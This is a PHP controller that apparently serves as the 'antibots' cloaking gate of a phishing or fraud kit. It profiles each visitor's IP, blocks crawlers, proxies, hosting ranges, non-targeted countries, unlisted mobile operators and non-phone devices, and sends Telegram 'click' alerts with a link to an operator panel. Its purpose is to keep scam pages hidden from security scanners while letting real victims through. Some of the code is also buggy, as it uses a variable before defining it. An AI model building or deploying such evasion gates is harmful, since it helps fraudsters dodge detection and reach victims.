<?php

namespace App\Controller;

use Psr\Http\Message\ResponseInterface as Response;
use Psr\Http\Message\ServerRequestInterface as Request;
use Laminas\Diactoros\ResponseFactory;
use GuzzleHttp\Client;
use Stidges\CountryFlags\CountryFlag;
use Sinergi\BrowserDetector\Browser;
use Sinergi\BrowserDetector\Os;
use Sinergi\BrowserDetector\Device;
use Jaybizzle\CrawlerDetect\CrawlerDetect;
use App\Service\TelegramService;


class BotController
{
    private $responseFactory;
    private $config;
    private $telegramService;
    private $httpClient;
    private $apiKey;

    public function __construct(ResponseFactory $responseFactory, $config, string $apiKey)
    {
        $this->responseFactory = $responseFactory;
        $this->telegramService = new TelegramService($config);
        $this->config = $config;
        $this->httpClient = new Client();
        $this->apiKey = $apiKey;
    }

    public function checkIp(Request $request, Response $response, $args): Response
    {
        try {
            $ipAddress = $this->getClientIp();
            $apiResponse = $this->httpClient->request('GET', "https://pro.ip-api.com/json/{$ipAddress}?key={$this->apiKey}&fields=status,country,countryCode,isp,org,as,mobile,proxy,hosting,query");
            $ipData = json_decode($apiResponse->getBody()->getContents(), true);

            $_only_phone = $this->config['antibots']['only_phone'];
            $_antibots = $this->config['antibots']['antibots'];
            $_antibots_notif = $this->config['antibots']['notif'];
            $_user_country = $ipData['countryCode'] ?? '';
            $_user_country_large = $ipData['country'] ?? '';
            $ip = $ipData['query'] ?? '';
            $_user_operator = $ipData['as'] ?? $ipData['org'] ?? $ipData['isp'];
            $_list_operator = require __DIR__ . '/../../config/operators.php';
            $_allowed_countries = $this->config['antibots']['allowed'];
            $allowedOperators = $_list_operator[$_user_country] ?? [];

            // Detect User-Agent
            $userAgent = $request->getHeaderLine('User-Agent');
            $crawlerDetect = new CrawlerDetect();
            $isBot = $crawlerDetect->isCrawler($userAgent);

            // Parse User-Agent
            $browserDetector = new Browser();
            $os = new Os();
            $device = new Device();
            $ua = $browserDetector->getName() . " / " . $os->getName() . " / " . $device->getName();

            // Store the visitor's data
            $this->storeVisitorData([
                'ip' => $ipData['query'],
                'code' => $_user_country,
                'operator' => $_user_operator,
                'country' => $ipData['country']
            ]);

            $this->incrementIniSection('totale');

            $referer = $request->getHeaderLine('Referer');
            $parsedUrl = parse_url($referer);
            // Reconstruct the base URL
            $baseUrl = $parsedUrl['scheme'] . '://' . $parsedUrl['host'] . '/';
            $visits = $baseUrl . "visit";
            //$visits = "http://www.localhost:5173/visit";

            $keyboard = [
                'inline_keyboard' => [
                    [
                        ['text' => 'PANEL', 'url' => $visits],
                    ]
                ],
            ];

            if ($isBot) {
                // Notify via Telegram
                if($_antibots_notif){
                $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                $message .= PHP_EOL;
                $message .= "🔑 Status : <i>Crawler not allowed</i>" . PHP_EOL;
                $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                $this->telegramService->sendMessage($message, $keyboard);
                }

                // Store the bot's data
                $this->storeBotData([
                    'ip' => $ipData['query'],
                    'code' => $_user_country,
                    'operator' => $_user_operator,
                    'country' => $ipData['country'],
                    'cause' => 'Crawler/Bot',
                ]);

                $this->incrementIniSection('bot');

                $response->getBody()->write(json_encode(['error' => 'Crawler not allowed']));
                return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
            }

            if ($ipData['proxy'] || $ipData['hosting']) {
                // Notify via Telegram
                if($_antibots_notif){
                $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                $message .= PHP_EOL;
                $message .= "🔑 Status : <i>Proxy/Hosting not allowed</i>" . PHP_EOL;
                $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                $this->telegramService->sendMessage($message, $keyboard);
                }

            // Store the bot's data
            $this->storeBotData([
                'ip' => $ipData['query'],
                'code' => $_user_country,
                'operator' => $_user_operator,
                'country' => $ipData['country'],
                'cause' => 'Proxy/Hosting',
            ]);

                $this->incrementIniSection('bot');

                $response->getBody()->write(json_encode(['error' => 'Proxy/Hosting not allowed not allowed']));
                return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
            }

            if (!$_antibots) {
            // If both checks pass, return a 204 No Content response and notify via Telegram
            if($_antibots_notif){
            
                $message = "✅ <b>[ +1 Click - REAL ]</b>" . PHP_EOL;
                $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                $message .= PHP_EOL;
                $message .= "⚠️ Warning : <i>Antibots is disabled</i>" . PHP_EOL;
                $message .= "🔑 Status : <i>Allowed</i>" . PHP_EOL;
                $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;

                $this->telegramService->sendMessage($message, $keyboard);
            }

            $this->incrementIniSection('real');

            return $response->withStatus(204);
            }
            
            // Check if the user's operator is in the allowed list
            $operatorAllowed = false;
            foreach ($allowedOperators as $allowedOperator) {
                if (strpos(strtolower($_user_operator), strtolower($allowedOperator)) !== false) {
                    $operatorAllowed = true;
                    break;
                }
            }

            $countryFlag = (new CountryFlag())->get($_user_country);

            if (!$operatorAllowed) {

                // Notify via Telegram
                if($_antibots_notif){
                $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                $message .= PHP_EOL;
                $message .= "🔑 Status : <i>Operator not allowed</i>" . PHP_EOL;
                $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                $this->telegramService->sendMessage($message, $keyboard);
                }

                // Store the bot's data
                $this->storeBotData([
                    'ip' => $ipData['query'],
                    'code' => $_user_country,
                    'operator' => $_user_operator,
                    'country' => $ipData['country'],
                    'cause' => 'Operator',
                ]);

                $this->incrementIniSection('bot');

                $response->getBody()->write(json_encode(['error' => 'Operator not allowed']));
                return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
            }

            // Check if the country is allowed
            if (!in_array($_user_country, $_allowed_countries)) {
                // Notify via Telegram
                if($_antibots_notif){
                    $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                    $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                    $message .= PHP_EOL;
                    $message .= "🔑 Status : <i>Country not allowed</i>" . PHP_EOL;
                    $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                    $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                    $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                    $this->telegramService->sendMessage($message, $keyboard);
                }

            // Store the bot's data
            $this->storeBotData([
                'ip' => $ipData['query'],
                'code' => $_user_country,
                'operator' => $_user_operator,
                'country' => $ipData['country'],
                'cause' => 'Country',
            ]);

                $this->incrementIniSection('bot');
                
                $response->getBody()->write(json_encode(['error' => 'Country not allowed']));
                return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
            }

            if ($_only_phone && !$ipData['mobile']) {
                // Notify via Telegram
                if($_antibots_notif){
                    $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                    $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                    $message .= PHP_EOL;
                    $message .= "🔑 Status : <i>Only Smart Phones is allowed</i>" . PHP_EOL;
                    $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                    $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                    $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                    $this->telegramService->sendMessage($message, $keyboard);
                }

                // Store the bot's data
                $this->storeBotData([
                    'ip' => $ipData['query'],
                    'code' => $_user_country,
                    'operator' => $_user_operator,
                    'country' => $ipData['country'],
                    'cause' => 'Device',
                ]);

                $this->incrementIniSection('bot');
                
                $response->getBody()->write(json_encode(['error' => 'Only Smart Phones is allowed']));
                return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
            }

            $botFile = __DIR__ . '/../../data/bots.json';
            // Check if the IP is in bots.json
            if (file_exists($botFile)) {
                $bots = json_decode(file_get_contents($botFile), true) ?? [];
                foreach ($bots as $bot) {
                    if ($bot['ip'] === $ip) {

                        if($_antibots_notif){
                            $message = "⛔ <b>[ +1 Click - BOT ]</b>" . PHP_EOL;
                            $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                            $message .= PHP_EOL;
                            $message .= "🔑 Status : <i>On BlackList</i>" . PHP_EOL;
                            $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                            $message .= "🌍 Country : <i>" . $_user_country_large . " " . $countryFlag . "</i>" . PHP_EOL;
                            $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;
                            $this->telegramService->sendMessage($message, $keyboard);
                        }

                        $this->incrementIniSection('bot');

                        $response->getBody()->write(json_encode(['error' => 'Blocked: Your IP is flagged as a bot']));
                        return $response->withStatus(403)->withHeader('Content-Type', 'application/json');
                    }
                }
            }

            // If both checks pass, return a 204 No Content response and notify via Telegram
            if($_antibots_notif){
            
                $message = "✅ <b>[ +1 Click - REAL ]</b>" . PHP_EOL;
                $message .= "↳ <i>" . $ip . "</i>" . PHP_EOL;
                $message .= PHP_EOL;
                $message .= "🔑 Status : <i>Allowed</i>" . PHP_EOL;
                $message .= "📲 Operator : <i>" . $_user_operator . "</i>" . PHP_EOL;
                $message .= "🌍 Country : <i>" . $_user_country_large . "</i>" . PHP_EOL;
                $message .= "🧲 UA : <i>" . $ua . "</i>" . PHP_EOL;

                $this->telegramService->sendMessage($message, $keyboard);
            }

            $this->incrementIniSection('real');

            return $response->withStatus(204);
        } catch (\Exception $e) {
            // Handle errors, e.g., IP not found or API request failed
            $response->getBody()->write(json_encode(['error' => 'Failed to fetch IP data']));
            return $response->withStatus(500)->withHeader('Content-Type', 'application/json');
        }
    }

    public function banIp(Request $request, Response $response, $args): Response
    {
        try {
            $ipAddress = $this->getClientIp();
            $apiResponse = $this->httpClient->request('GET', "https://pro.ip-api.com/json/{$ipAddress}?key={$this->apiKey}&fields=status,country,countryCode,isp,org,as,mobile,proxy,hosting,query");
            $ipData = json_decode($apiResponse->getBody()->getContents(), true);

            $_user_country = $ipData['countryCode'] ?? '';
            $ip = $ipData['query'] ?? '';
            $_user_operator = $ipData['as'] ?? $ipData['org'] ?? $ipData['isp'];



                // Store the bot's data
                $this->storeBotData([
                    'ip' => $ip,
                    'code' => $_user_country,
                    'operator' => $_user_operator,
                    'country' => $ipData['country'],
                    'cause' => 'Admin',
                ]);

                $this->incrementIniSection('bot');
                
                $response->getBody()->write(json_encode(['success' => 'user baned']));
                return $response->withStatus(200)->withHeader('Content-Type', 'application/json');


        } catch (\Exception $e) {
            // Handle errors, e.g., IP not found or API request failed
            $response->getBody()->write(json_encode(['error' => 'Failed to fetch IP data']));
            return $response->withStatus(500)->withHeader('Content-Type', 'application/json');
        }
    }

    private function storeVisitorData(array $data): void
    {
        $file = __DIR__ . '/../../data/visitors.json';
        $visitors = [];

        if (file_exists($file)) {
            $visitors = json_decode(file_get_contents($file), true) ?? [];
        }

        $data['id'] = count($visitors) + 1;
        $visitors[] = $data;

        file_put_contents($file, json_encode($visitors, JSON_PRETTY_PRINT));
    }

    private function getClientIp() {
        if (isset($_SERVER['HTTP_CLIENT_IP'])) {
            $ipAddress = $_SERVER['HTTP_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $ipAddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
            $ipAddress = $_SERVER['HTTP_X_FORWARDED'];
        } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
            $ipAddress = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
        } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
            $ipAddress = $_SERVER['HTTP_FORWARDED_FOR'];
        } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
            $ipAddress = $_SERVER['HTTP_FORWARDED'];
        } else {
            $ipAddress = $_SERVER['REMOTE_ADDR'];
        }
    
        // Check if the IP is localhost (127.0.0.1 for IPv4 or ::1 for IPv6)
        if ($ipAddress === '127.0.0.1' || $ipAddress === '::1') {
            $ipAddress = '196.117.226.138'; // Replace with desired IP address
        }
    
        return $ipAddress;
    }
    

    private function storeBotData(array $data): void
    {
        $file = __DIR__ . '/../../data/bots.json';
        $bots = [];
    
        if (file_exists($file)) {
            $bots = json_decode(file_get_contents($file), true) ?? [];
        }
    
        // Check if the IP is already in the file
        foreach ($bots as $bot) {
            if ($bot['ip'] === $data['ip']) {
                // If the IP is found, do not add it again
                return;
            }
        }
    
        // If the IP is not found, add the new entry
        $data['id'] = count($bots) + 1;
        $bots[] = $data;
    
        // Write the updated data back to the file
        file_put_contents($file, json_encode($bots, JSON_PRETTY_PRINT));
    }
    

    public function getVisitors(Request $request, Response $response, $args): Response
    {
        // Path to the visitors.json file
        $file = __DIR__ . '/../../data/visitors.json';
    
        // Check if the file exists
        if (!file_exists($file)) {
            // Return an error response if the file is not found
            $response->getBody()->write(json_encode(['error' => 'Visitors file not found']));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(404);
        }
    
        // Read the contents of the visitors.json file
        $visitors = file_get_contents($file);
    
        // Decode the JSON data
        $visitorsData = json_decode($visitors, true);
    
        // Check if the JSON decoding was successful
        if ($visitorsData === null) {
            // Return an error response if the JSON data is invalid
            $response->getBody()->write(json_encode(['error' => 'Invalid JSON data']));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500);
        }
    
        // Return the visitors data as a JSON response
        $response->getBody()->write(json_encode($visitorsData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }

    public function getBots(Request $request, Response $response, $args): Response
    {
        // Path to the visitors.json file
        $file = __DIR__ . '/../../data/bots.json';
    
        // Check if the file exists
        if (!file_exists($file)) {
            // Return an error response if the file is not found
            $response->getBody()->write(json_encode(['error' => 'Visitors file not found']));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(404);
        }
    
        // Read the contents of the visitors.json file
        $visitors = file_get_contents($file);
    
        // Decode the JSON data
        $visitorsData = json_decode($visitors, true);
    
        // Check if the JSON decoding was successful
        if ($visitorsData === null) {
            // Return an error response if the JSON data is invalid
            $response->getBody()->write(json_encode(['error' => 'Invalid JSON data']));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(500);
        }
    
        // Return the visitors data as a JSON response
        $response->getBody()->write(json_encode($visitorsData));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }

    public function deleteBot(Request $request, Response $response, $args): Response
    {
        // Path to the bots.json file
        $file = __DIR__ . '/../../data/bots.json';
    
        // Check if the file exists
        if (!file_exists($file)) {
            // Return an error response if the file is not found
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Bots file not found',
            ]));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
        }
    
        // Read the contents of the bots.json file
        $bots = file_get_contents($file);
    
        // Decode the JSON data
        $botsData = json_decode($bots, true);
    
        // Check if the JSON decoding was successful
        if ($botsData === null) {
            // Return an error response if the JSON data is invalid
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Invalid JSON data'
            ]));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
        }
    
        // Get the ID to delete from the request arguments
        $id = (int)$args['id']; // Ensure ID is treated as an integer
    
        // Check if the bot with the given ID exists
        $botExists = false;
        foreach ($botsData as $bot) {
            if ((int)$bot['id'] === $id) { // Compare IDs as integers
                $botExists = true;
                break;
            }
        }
    
        if (!$botExists) {
            // Return an error response if the bot with the given ID does not exist
            $response->getBody()->write(json_encode([
                'error' => true,
                'message' => 'Bot with the given ID not found'
            ]));
            return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
        }
    
        // Filter out the bot with the given ID
        $filteredBots = array_filter($botsData, function($bot) use ($id) {
            return (int)$bot['id'] != $id; // Compare IDs as integers
        });
    
        // Save the updated data back to the file
        file_put_contents($file, json_encode(array_values($filteredBots), JSON_PRETTY_PRINT));
    
        // Return a success response
        $response->getBody()->write(json_encode([
            'success' => true,
            'message' => 'Bot deleted successfully'
        ]));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }
    
    

public function deleteAllBots(Request $request, Response $response): Response
{
    // Path to the bots.json file
    $file = __DIR__ . '/../../data/bots.json';

    // Check if the file exists
    if (!file_exists($file)) {
        // Return an error response if the file is not found
        $response->getBody()->write(json_encode([
            'error' => true,
            'message' => 'Bots file not found'
        ]));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }

    // Clear the contents of the file
    file_put_contents($file, json_encode([]));

    // Return a success response
    $response->getBody()->write(json_encode([
        'success' => true,
        'message' => 'All bots deleted successfully'
    ]));
    return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
}

public function deleteAllVisits(Request $request, Response $response): Response
{
    // Path to the bots.json file
    $file = __DIR__ . '/../../data/visitors.json';

    // Check if the file exists
    if (!file_exists($file)) {
        // Return an error response if the file is not found
        $response->getBody()->write(json_encode([
            'error' => true,
            'message' => 'Visitors file not found'
        ]));
        return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
    }

    // Clear the contents of the file
    file_put_contents($file, json_encode([]));

    // Return a success response
    $response->getBody()->write(json_encode([
        'success' => true,
        'message' => 'All Visitors deleted successfully'
    ]));
    return $response->withHeader('Content-Type', 'application/json')->withStatus(200);
}


    private function incrementIniSection(string $put): void
    {
        $file = __DIR__ . '/../../data/stats.ini';
        $data = @parse_ini_file($file, true);
        $data[$put]++; // Increment the value
        $this->updateIniFile($data, $file);
    }

    private function updateIniFile(array $data, string $file): bool
    {
        $iniString = '';
        foreach ($data as $key => $value) {
            $iniString .= "$key=$value\n";
        }

        return file_put_contents($file, $iniString) !== false;
    }
}
